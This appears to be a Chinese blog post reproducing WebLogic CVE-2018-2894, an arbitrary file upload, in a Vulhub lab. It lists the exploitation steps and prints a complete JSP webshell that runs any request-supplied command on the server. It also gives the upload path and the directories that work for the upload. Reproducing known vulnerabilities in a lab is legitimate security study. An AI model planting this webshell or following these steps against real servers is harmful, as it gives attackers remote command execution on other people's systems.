WebLogic任意文件上传(CVE-2018-2894)

漏洞条件

  • 开启了Weblogic Web Service Test Page,此配置项默认是关闭的;
  • 知道Web目录路径;
  • Oracle WebLogic Server 10.3.6.0, 12.1.3.0, 12.2.1.2, 12.2.1.3。

漏洞原理

Weblogic Web Service Test Page中存在任意文件上传漏洞,攻击者可上传任意jsp文件来getshell。

搭建环境

直接用Vulhub:https://vulhub.org/#/environments/weblogic/CVE-2018-2894/ 起服务

然后需要用管理员身份去开启Weblogic Web Service Test Page:

  • 访问http://ip:7001/console进入到登录界面。
  • 执行docker-compose logs | grep password可查看管理员密码:

可以看到管理员用户名为weblogic,密码为 9UfRS32U

  • 使用该密码登录到后台,登录上去之后,点击base_domain,在”配置”->”一般信息”->”高级”中开启”启用 Web 服务测试页”选项:

保存后注销退出,此时环境已经配置好了。

漏洞利用

访问http://ip:7001/ws_utc/config.do页面,即Web服务测试页,设置Work Home Dir即当前的工作目录为/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css,即将目录设置为ws-utc应用的静态css文件目录,因为该目录是无需权限的:

然后点击安全 -> 增加,然后上传webshell:

<%@ page import="java.util.*,java.io.*"%>
<HTML><BODY>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
        out.println("Command: " + request.getParameter("cmd") + "<BR>");
        Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
                out.println(disr); 
                disr = dis.readLine(); 
                }
        }
%>
</pre>
</BODY></HTML>

此时可以从返回的前端页面中获取文件的id,该id是时间戳,而实际上保存在服务器中的文件名为:时间戳_文件名

访问路径,是存在的:http://ip:7001/ws_utc/css/config/keystore/1655905868388_shell.jsp

最后,经测试以下几个静态目录都是可行的:

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/js
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/images

但是js目录是能够上传,但是在未登陆的情况下无法利用,会跳转到登陆页面。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇